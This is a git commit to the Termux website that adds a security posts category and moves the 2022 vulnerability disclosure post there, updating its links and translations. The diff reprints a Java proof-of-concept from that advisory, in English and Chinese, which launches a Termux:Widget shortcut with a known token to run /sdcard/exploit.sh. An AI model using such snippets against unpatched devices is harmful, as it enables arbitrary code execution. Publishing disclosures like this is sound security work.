Added|Changed(posts): Add dedicated security posts category and move posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html to posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html

agnostic-apollo · agnostic-apollo · commit c23bfd8c427e · 2025-07-01T15:46:44.000+05:00
diff --git a/_config.yml b/_config.yml
@@ -48,6 +48,7 @@ collections:
 feed:
   categories:
     - general
+    - security
 
 show_excerpts: true # set to true to show excerpts on posts
 
@@ -102,6 +103,12 @@ defaults:
     values:
       category: packages
 
+  -
+    scope:
+      path: "_posts/*/security"
+    values:
+      category: security
+
 
 # Set page.lang for all posts files under respective languages and permalink with /en/:collection prefix
   -
diff --git a/_data/posts/t/cn/views.yml b/_data/posts/t/cn/views.yml
@@ -3,7 +3,9 @@ index:
   apps: 应用
   general: 常规
   packages: 包
+  security: 安全
   apps_posts: 关于应用的文章
   general_posts: 常规文章
   packages_posts: 关于软件包的文章
+  security_posts: 安全类文章
   subscribe_to_rss_feed: 订阅RSS源
diff --git a/_data/posts/t/en/views.yml b/_data/posts/t/en/views.yml
@@ -3,7 +3,9 @@ index:
   apps: Apps
   general: General
   packages: Packages
+  security: Security
   apps_posts: Apps Posts
   general_posts: General Posts
   packages_posts: Packages Posts
+  security_posts: Security Posts
   subscribe_to_rss_feed: Subscribe to RSS feed
diff --git a/_data/sitemap.yml b/_data/sitemap.yml
@@ -2,4 +2,6 @@ excludes:
   - /redirects.json
   - /feed.xml
   - /general/2022/02/15/termux-apps-vulnerability-disclosures.html
+  - /en/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
+  - /cn/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
   - /apps/2022/02/25/termux-tasker-v0.6.0-release.html
diff --git a/_data/t/cn/views/navigation.yml b/_data/t/cn/views/navigation.yml
@@ -4,6 +4,7 @@ docs: 文档
 posts: 文章
 packages: 软件包
 donate: 捐赠
+security: 安全
 privacy_policy: 隐私政策
 
 # Footer
diff --git a/_layouts/posts/index.md b/_layouts/posts/index.md
@@ -7,6 +7,7 @@ layout: page
 - [{%- include t.html root="posts" key="views.index.general" -%}](/{{- page.lang -}}/posts/general.html)
 - [{%- include t.html root="posts" key="views.index.apps" -%}](/{{- page.lang -}}/posts/apps.html)
 - [{%- include t.html root="posts" key="views.index.packages" -%}](/{{- page.lang -}}/posts/packages.html)
+- [{%- include t.html root="posts" key="views.index.security" -%}](/{{- page.lang -}}/posts/security.html)
 
 [{%- include t.html root="posts" key="views.index.subscribe_to_rss_feed" -%}](/feed.xml).
 
diff --git a/_posts/cn/apps/2022-02-25-termux-tasker-v0.6.0-release.md b/_posts/cn/apps/2022-02-25-termux-tasker-v0.6.0-release.md
@@ -5,7 +5,7 @@ page_ref: /posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html
 
 `Termux:Tasker` `v0.6.0` 版本已经发布。
 
-**强烈建议您更新到 `v0.5.0` 或更高版本以修复 [Termux 应用程序漏洞披露](https://termux.github.io/general/2022/02/15/termux-apps-vulnerability-disclosures.html) 。**
+**强烈建议您更新到 `v0.5.0` 或更高版本以修复 [Termux 应用程序漏洞披露](https://termux.github.io/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html) 。**
 ##
 
 
diff --git a/_posts/cn/security/2022-02-15-termux-apps-vulnerability-disclosures.md b/_posts/cn/security/2022-02-15-termux-apps-vulnerability-disclosures.md
@@ -1,6 +1,8 @@
 ---
 title:  "Termux应用程序漏洞披露"
-page_ref: /posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
+redirect_from:
+    - /cn/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
+page_ref: /posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html
 ---
 
 这是 `termux-app`、`termux-tasker` 和 `termux-widget` 的漏洞报告。
@@ -86,11 +88,11 @@ context.sendBroadcast(intent);
 或者从任何一个应用程序，执行以下 Java 代码：
 
 ```java
-	Intent intent = new Intent();
-	intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
-	intent.setData(Uri.parse("/sdcard/exploit.sh"));
-	intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
-	startActivity(intent);
+    Intent intent = new Intent();
+    intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
+    intent.setData(Uri.parse("/sdcard/exploit.sh"));
+    intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
+    startActivity(intent);
 ```
 
 Termux 应用程序将会执行使用 `/data/data/com.termux/files/usr/bin/sh` 执行 `/sdcard/exploit.sh` 脚本，`/sdcard` 被挂载为 `noexec` 也没有问题。
diff --git a/_posts/en/apps/2022-02-25-termux-tasker-v0.6.0-release.md b/_posts/en/apps/2022-02-25-termux-tasker-v0.6.0-release.md
@@ -6,7 +6,7 @@ page_ref: /posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html
 
 The `Termux:Tasker` `v0.6.0` is out.
 
-**It is highly recommended that you update to `v0.5.0` or higher for fixes for vulnerabilities disclosed in the [Termux Apps Vulnerability Disclosures](https://termux.github.io/general/2022/02/15/termux-apps-vulnerability-disclosures.html) post.**
+**It is highly recommended that you update to `v0.5.0` or higher for fixes for vulnerabilities disclosed in the [Termux Apps Vulnerability Disclosures](https://termux.github.io/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html) post.**
 ##
 
 
diff --git a/_posts/en/security/2022-02-15-termux-apps-vulnerability-disclosures.md b/_posts/en/security/2022-02-15-termux-apps-vulnerability-disclosures.md
@@ -1,7 +1,9 @@
 ---
 title:  "Termux Apps Vulnerability Disclosures"
-redirect_from: /general/2022/02/15/termux-apps-vulnerability-disclosures.html
-page_ref: /posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
+redirect_from:
+    - /general/2022/02/15/termux-apps-vulnerability-disclosures.html
+    - /en/posts/general/2022/02/15/termux-apps-vulnerability-disclosures.html
+page_ref: /posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html
 ---
 
 This is a vulnerability report for `termux-app`, `termux-tasker` and `termux-widget`.
@@ -88,11 +90,11 @@ The `Termux:Widget` "security" worked by [generating a token](https://github.com
 Or use java from any app.
 
 ```java
-	Intent intent = new Intent();
-	intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
-	intent.setData(Uri.parse("/sdcard/exploit.sh"));
-	intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
-	startActivity(intent);
+    Intent intent = new Intent();
+    intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
+    intent.setData(Uri.parse("/sdcard/exploit.sh"));
+    intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
+    startActivity(intent);
 ```
 
 The termux app will run the `/sdcard/exploit.sh` script with `/data/data/com.termux/files/usr/bin/sh` and `/sdcard` being mounted as `noexec` would not be an issue.
diff --git a/assets/posts/globals/general/2022-02-15-termux-apps-vulnerability-disclosures/Termux_Tasker_Exploit.tsk.xml b/assets/posts/globals/general/2022-02-15-termux-apps-vulnerability-disclosures/Termux_Tasker_Exploit.tsk.xml
@@ -7,7 +7,7 @@
 		<pri>100</pri>
 		<Action sr="act0" ve="7">
 			<code>300</code>
-			<label>Termux:Tasker exploit task as detailed in https:termux.github.io/general/2022/02/15/termux-apps-vulnerability-disclosures.html#1-termux-tasker-privilege-escalation-vulnerability.
+			<label>Termux:Tasker exploit task as detailed in https://termux.github.io/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html#termuxtasker-privilege-escalation-vulnerability.
 
 Sample java code:
 ```
diff --git a/cn/posts/security.html b/cn/posts/security.html
@@ -0,0 +1,10 @@
+---
+layout: page
+title: 安全类文章
+no_add_title_heading: true
+category_name: security
+page_ref: /posts/security.html
+lang: cn
+---
+
+{% include posts/category.html %}
diff --git a/en/posts/security.html b/en/posts/security.html
@@ -0,0 +1,9 @@
+---
+layout: page
+title: Security Posts
+no_add_title_heading: true
+category_name: security
+page_ref: /posts/security.html
+---
+
+{% include posts/category.html %}
diff --git a/en/security.md b/en/security.md
@@ -15,7 +15,7 @@ The Termux team takes all security vulnerabilities seriously and we encourage ex
 
 1. Once the report sent to us by an external party has been received, it will be triaged by our team to see if it is valid and what its impact is. It will normally be acknowledged within `3` business days if valid and will then be assigned to a maintainer who will handle the communication with the reporter and coordinate the deployment of fixes and the vulnerability disclosure.
 2. We will normally deploy fixes for the security vulnerability within `90` days. However, if the vulnerability is being actively exploited, then we aim to deploy fixes within `7` days.
-3. After the fixes have been deployed and available to users, the vulnerability report will be disclosed publicly after `30` days on [GitHub security advisories](https://github.com/advisories) and/or on our <a href="/{{- page.lang -}}/posts/index.html">Termux site posts</a>.
+3. After the fixes have been deployed and available to users, the vulnerability report will be disclosed publicly after `30` days on [GitHub security advisories](https://github.com/advisories) and/or on our <a href="/{{- page.lang -}}/posts/security.html">Termux site security posts</a>.
 
 &nbsp;
 
